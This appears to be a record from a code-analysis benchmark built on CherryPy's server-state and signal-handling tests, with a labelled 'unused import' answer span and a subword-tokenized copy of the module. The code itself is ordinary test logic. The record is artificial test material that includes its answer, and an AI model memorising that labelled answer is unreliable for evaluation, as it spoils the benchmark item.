try:\n from signal import SIGTERM\n except ImportError:\n return self.skip(\"skipped (no SIGTERM) \")\n\n try:\n from os import kill\n except ImportError:\n return self.skip(\"skipped (no os.kill) \")\n\n # Spawn a normal, undaemonized process.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'))\n p.write_conf(\n extra='test_case_name: \"test_SIGTERM\"')\n p.start(imports='cherrypy.test._test_states_demo')\n # Send a SIGTERM\n os.kill(p.get_pid(), SIGTERM)\n # This might hang if things aren't working right, but meh.\n p.join()\n\n if os.name in ['posix']:\n # Spawn a daemonized process and test again.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'),\n wait=True, daemonize=True)\n p.write_conf(\n extra='test_case_name: \"test_SIGTERM_2\"')\n p.start(imports='cherrypy.test._test_states_demo')\n # Send a SIGTERM\n os.kill(p.get_pid(), SIGTERM)\n # This might hang if things aren't working right, but meh.\n p.join()", "metadata": "root.SignalHandlingTests.test_SIGTERM", "header": "['class', 'SignalHandlingTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 377 }, { "content": " def test_signal_handler_unsubscribe(self):\n try:\n from signal import SIGTERM\n except ImportError:\n return self.skip(\"skipped (no SIGTERM) \")\n\n try:\n from os import kill\n except ImportError:\n return self.skip(\"skipped (no os.kill) \")\n\n # Spawn a normal, undaemonized process.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'))\n p.write_conf(\n extra=\"\"\"unsubsig: True\ntest_case_name: \"test_signal_handler_unsubscribe\"\n\"\"\")\n p.start(imports='cherrypy.test._test_states_demo')\n # Send a SIGTERM\n os.kill(p.get_pid(), SIGTERM)\n # This might hang if things aren't working right, but meh.\n p.join()\n\n # Assert the old handler ran.\n target_line = open(p.error_log, 'rb').readlines()[-10]\n if not ntob(\"I am an old SIGTERM handler.\") in target_line:\n self.fail(\"Old SIGTERM handler did not run.\\n%r\" % target_line)", "metadata": "root.SignalHandlingTests.test_signal_handler_unsubscribe", "header": "['class', 'SignalHandlingTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 411 } ]
[ { "span": "import threading", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "cherrypy_", "._", "\\u", "cpc", "omp", "at_", "import_", "Ba", "d", "Status", "Line_", ",_", "nto", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "cherrypy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "=_", "cherrypy_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "this", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "getcwd_", "(_", ")_", ",_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db", "\\u", "connection_", "=_", "Dependency_", "(_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "------------", " ", "En", "ou", "gh", " ", "help", "ers", ".", " ", "Time", " ", "for", " ", "real", " ", "live", " ", "test", " ", "case", "s", ".", " ", "------------", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "cherrypy_", "._", "test_", "import_", "helper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Dependency_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "bus_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "bus_", "=_", "bus_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "running_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "grace", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "threads_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "subscribe_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "bus_", "._", "subscribe_", "(_", "'", "start", "'_", ",_", "self_", "._", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bus_", "._", "subscribe_", "(_", "'", "stop", "'_", ",_", "self_", "._", "stop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bus_", "._", "subscribe_", "(_", "'", "graceful", "'_", ",_", "self_", "._", "graceful", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bus_", "._", "subscribe_", "(_", "'", "start", "\\u", "thread", "'_", ",_", "self_", "._", "startt", "hread", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bus_", "._", "subscribe_", "(_", "'", "stop", "\\u", "thread", "'_", ",_", "self_", "._", "stop", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "running_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "running_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "graceful", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "grace", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "startt", "hread", "_", "(_", "self_", ",_", "thread", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "threads_", "[_", "thread", "\\u", "id_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dependency_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "thread_", "(_", "self_", ",_", "thread", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "threads_", "[_", "thread", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "\\u", "server_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Root_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "index_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index_", "._", "exposed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "ctrl", "c_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Key", "board", "Interrupt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctrl", "c_", "._", "exposed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "graceful", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "engine_", "._", "graceful", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "app", " ", "was", " ", "(", "graceful", "ly", ")", " ", "restart", "ed", " ", "succe", "sfu", "ll", "y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "graceful", "_", "._", "exposed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "block", "\\u", "explicit", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cherrypy_", "._", "response_", "._", "timed", "\\u", "out_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cherrypy_", "._", "response_", "._", "timed", "\\u", "out_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "broken", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block", "\\u", "explicit", "_", "._", "exposed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "block", "\\u", "implicit", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "response", ".", "timeo", "ut", " ", "=", " ", "%", "s", "\"_", "%_", "cherrypy_", "._", "response_", "._", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block", "\\u", "implicit", "_", "._", "exposed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cherrypy_", "._", "tree_", "._", "mount_", "(_", "Root_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cherrypy_", "._", "config_", "._", "update_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "environ", "ment", "'_", ":_", "'", "test\\u", "suit", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "eng", "ine", ".", "deadl", "ock", "\\u", "poll", "\\u", "freq", "'_", ":_", "0.1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "connection_", "._", "subscribe_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "\\u", "server_", "=_", "staticmethod_", "(_", "setup", "\\u", "server_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cherrypy_", "._", "server_", "._", "socket", "\\u", "timeout_", "=_", "0.1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "do", "\\u", "gc", "\\u", "test_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "0", "\\u", "Normal", "State", "Flow_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "engine_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ou", "r", " ", "db", "\\u", "connecti", "on", " ", "shou", "ld", " ", "not", " ", "be", " ", "running_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "start", "count_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "server", " ", "start_", "\\u\\u\\uNL\\u\\u\\u_", "engine_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "STARTED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "cherrypy_", "._", "server_", "._", "socket", "\\u", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "cherrypy_", "._", "server_", "._", "socket", "\\u", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "IO", "Error_", ",_", "cherrypy_", "._", "\\u", "cps", "erver_", "._", "check", "\\u", "port_", ",_", "host_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "db", "\\u", "connecti", "on", " ", "shou", "ld", " ", "be", " ", "runn", "ing", " ", "now_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "start", "count_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "eng", "ine", " ", "stop", ".", " ", "Thi", "s", " ", "will", " ", "als", "o", " ", "stop", " ", "the", " ", "HTTP", " ", "server", "._", "\\u\\u\\uNL\\u\\u\\u_", "engine_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "STOPPED", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Verify", " ", "tha", "t", " ", "our", " ", "custom", " ", "stop", " ", "function", " ", "was", " ", "called_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Block", " ", "the", " ", "main", " ", "thread", " ", "now", " ", "and", " ", "verify", " ", "tha", "t", " ", "exit", "()", " ", "works", "._", "\\u\\u\\uNL\\u\\u\\u_", "def_", "exit", "test_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cherrypy_", "._", "server_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "._", "start", "\\u", "with", "\\u", "callback_", "(_", "exit", "test_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "._", "block_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "EXIT", "ING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "1", "\\u", "Restart", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cherrypy_", "._", "server_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "db", "\\u", "connecti", "on", " ", "shou", "ld", " ", "be", " ", "runn", "ing", " ", "now_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grace", "_", "=_", "db", "\\u", "connection_", "._", "grace", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "server", " ", "restart", " ", "from", " ", "this", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "engine_", "._", "graceful", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "STARTED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "grace", "count_", ",_", "grace", "_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "server", " ", "restart", " ", "from", " ", "insi", "de", " ", "a", " ", "page", " ", "handler_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/", "graceful", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "STARTED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "app", " ", "was", " ", "(", "graceful", "ly", ")", " ", "restart", "ed", " ", "succe", "sfu", "ll", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "grace", "count_", ",_", "grace", "_", "+_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sin", "ce", " ", "we", " ", "are", " ", "request", "ing", " ", "synchron", "ously", ",", " ", "is", " ", "only", " ", "one", " ", "thread", " ", "used", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "\"/", "graceful", "\"", " ", "request", " ", "has", " ", "bee", "n", " ", "flush", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "engine_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "STOPPED", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "2", "\\u", "Key", "board", "Interrupt_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Rai", "se", " ", "a", " ", "keyb", "oard", " ", "interrupt", " ", "in", " ", "the", " ", "HTTP", " ", "server", "'", "s", " ", "main", " ", "thread", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "must", " ", "start", " ", "the", " ", "server", " ", "in", " ", "this", ",", " ", "the", " ", "main", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "engine_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cherrypy_", "._", "server_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "persistent_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Make", " ", "the", " ", "first", " ", "request", " ", "and", " ", "assert", " ", "there", "'", "s", " ", "no", " ", "\"", "Connect", "ion", ":", " ", "close", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status_", "(_", "'", "200", " ", 